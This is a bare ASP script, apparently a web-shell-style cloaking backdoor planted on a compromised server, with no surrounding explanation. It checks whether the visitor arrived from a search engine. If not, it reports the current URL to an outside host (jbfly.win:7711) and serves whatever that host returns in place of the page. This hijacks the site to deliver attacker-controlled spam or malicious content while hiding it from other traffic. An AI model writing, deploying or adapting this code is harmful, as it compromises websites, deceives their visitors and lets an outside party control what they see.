<% On Error Resume Next Server.ScriptTimeOut=9999999 DataCenterURL="http://jbfly.win:7711" curURL=cur_url() If check_ref()then response.write("") response.end else response.write(getHTTPPage(DataCenterURL&"/get.do?url="&Server.URLEncode(curURL))) response.end end if Function getHTTPPage(Path) t=GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312") End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function BytesToBstr(body,Cset) dim objstream set objstream=Server.CreateObject("adodb.stream") objstream.Type=1 objstream.Mode=3 objstream.Open objstream.Write body objstream.Position=0 objstream.Type=2 objstream.Charset=Cset BytesToBstr=objstream.ReadText objstream.Close set objstream=nothing End Function Function GetBody(url) on error resume next Set Retrieval=CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get",url,False,"","" .Send GetBody=.ResponseBody End With Set Retrieval=Nothing End Function Function cur_url() Site="http" If(Request.ServerVariables("HTTPS")="on")Then Site="https" End if Site=Site&"://" Site_Path="" If(Request.ServerVariables("SERVER_PORT")<>"80")Then Site_Path=Site&Request.ServerVariables("SERVER_NAME")&":"&Request.ServerVariables("SERVER_PORT") else Site_Path=Site&Request.ServerVariables("SERVER_NAME") end if Site_Path=Site_Path&Request.ServerVariables("REQUEST_URI") cur_url=Site_Path End Function Function check_ref() check_ref=false r=LCase(Request.ServerVariables("HTTP_REFERER")) ses=split("google,bing,yahoo,ask,aol",",") for i=0 to ubound(ses) If InStr(r,ses(i)&".")then check_ref=true End If next End Function %>